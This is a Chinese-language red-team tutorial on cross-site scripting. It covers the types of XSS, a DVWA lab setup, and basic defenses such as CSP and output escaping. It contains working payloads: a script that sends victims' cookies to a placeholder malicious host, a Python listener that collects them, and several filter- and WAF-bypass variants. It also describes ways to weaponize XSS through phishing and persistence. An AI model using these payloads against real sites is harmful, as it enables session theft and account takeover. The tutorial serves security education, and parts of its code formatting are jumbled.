一、从真实事件中看XSS的威力
2018年,社交媒体巨头Facebook爆出了一个重大安全漏洞。由于存在跨站脚本(XSS)问题,攻击者能够利用特定的恶意代码窃取用户的访问令牌并完全控制受害者账户。这起事件不仅导致数百万用户的隐私泄露,还让我们看到了XSS漏洞在实战中的巨大破坏力。
XSS不仅仅是一个单纯的“弹窗漏洞”,它已经进化成攻击者用来窃取敏感数据、劫持会话甚至传播恶意代码的重要武器。那么,作为一名红队成员,如果要针对目标执行一次完整的XSS攻击链,我会怎么做呢?今天我们从攻击者的视角,深挖XSS的技术细节与实战运用。
---
二、XSS是如何引发漏洞的?
漏洞成因:信任与输入之间的鸿沟
XSS的核心问题在于不可信输入的疏忽处理。当目标应用程序接受用户输入,并将其直接嵌入到HTML页面中,而没有进行充分的过滤和转义,攻击者就可以在页面中注入恶意脚本。
主要类型
- 反射型(Reflected XSS):恶意脚本通过URL参数注入,由用户点击链接触发。例如:
- 存储型(Stored XSS):攻击者将恶意代码存储在目标服务器的数据库中,其他用户访问时自动触发攻击。
- DOM型(DOM-Based XSS):直接操控客户端的JavaScript逻辑,比如:
<pre><code class="language-html"> <script>alert(document.cookie)</script> `
`javascript document.write(location.hash); `
---
三、搭建实战环境:红队的实验室
为了演示XSS攻击,我们需要搭建一个受漏洞影响的目标系统。我推荐使用以下环境:
- DVWA(Damn Vulnerable Web Application):经典靶场,支持多种攻击场景。
- XAMPP:快速搭建本地测试环境。
- 浏览器开发工具:例如Burp Suite用于拦截和修改流量。
环境搭建步骤
- 下载并安装XAMPP,启动Apache和MySQL。
- 下载DVWA并解压至XAMPP的
htdocs目录,访问http://localhost/dvwa进行配置。 - 在DVWA管理页面设置安全级别为“低”,用于模拟初级防御场景。
环境准备好后,我们可以开始构造攻击案例。
---
四、Payload构造的艺术:拿到Cookie再说!
反射型XSS攻击演示
假设页面存在如下漏洞代码:</code></pre>php <?php echo "Welcome " . $_GET['name']; ?> <pre><code>用户输入通过GET参数直接输出到页面中,没有任何过滤。如果我们向页面提交以下恶意链接:</code></pre> http://vulnerable-site.com/?name=<script>alert('XSS')</script> <pre><code>目标页面会弹出一个警告框,证明我们成功注入了代码。
进阶攻击:窃取Cookie 攻击者可以通过以下Payload发送用户Cookie到恶意服务器:</code></pre>html <script> var img = new Image(); img.src="http://malicious-site.com?cookie=" + document.cookie; </script> <pre><code> 攻击者搭建一个监听服务器来接收Cookie数据:</code></pre>python import http.server
class MyHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): print("Received Cookie: ", self.path) self.send_response(200) self.end_headers()

http.server.HTTPServer(('0.0.0.0', 8080), MyHandler).serve_forever() <pre><code>运行该代码后,攻击者可以实时获取受害者的Cookie。
---
五、绕过技巧:EDR和WAF不是万能的
现代防御系统如WAF和浏览器沙盒会尝试拦截常见的XSS攻击,那么如何绕过这些机制呢?
绕过输入过滤
一些应用会简单过滤类似<script>的标签,但攻击者可以通过编码变形来逃避检查:
- 使用HTML实体编码:
- 分段构造:
` %3Cscript%3Ealert('XSS')%3C%2Fscript%3E `
`html <img src="x" onerror="document.write('<scr'+'ipt>alert(1)</scr'+'ipt>')"> `
绕过WAF规则
- 使用数据URL:
- 利用浏览器特性:
`html <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> `
`html <svg onload=alert(1)></svg> `
流量伪装 如果检测机制基于HTTP流量特征,攻击者可以通过加密或分段传输进行对抗。例如将攻击数据混淆到合法请求中。
---

六、检测与防御:对抗XSS的基本功
作为红队,我们也需要了解防御的核心思路以便绕过。以下是一些常见的防御措施:
输入验证与过滤
所有用户输入都应经过严格校验,避免直接嵌入到HTML页面。推荐使用成熟的库,比如Python的bleach。
内容安全策略(CSP)
通过设置CSP,限制页面中可以执行的脚本来源,从根本上阻止外部脚本攻击。例如:</code></pre> Content-Security-Policy: default-src 'self'; script-src 'self' `
安全编码输出
对输出数据进行HTML转义。比如将<script>转化为<script>.
---
七、红队经验分享:如何武器化XSS?
XSS攻击的真正威力在于组合利用。以下是一些实战中的武器化思路:
- 社会工程学结合XSS:结合铓鱼攻击,将恶意链接伪装为合法网址骗取用户点击。
- 内网渗透:通过XSS获取内网门户的访问凭证,进一步横向移动。
- 持久化控制:使用XSS注入后门脚本,实现长期控制,类似于存储型XSS。
---

八、总结:XSS不仅仅是弹窗
跨站脚本攻击远比想象中复杂,它不仅可以用于简单的页面篡改,还能成为高级攻击链的入口点。从攻击者的角度来看,XSS是一种极具威胁性的漏洞,但在防御者眼中,它也可以被彻底规避。希望今天的分享能让你对XSS有更深刻的理解,同时提醒大家谨慎测试,勿将知识用于非法用途。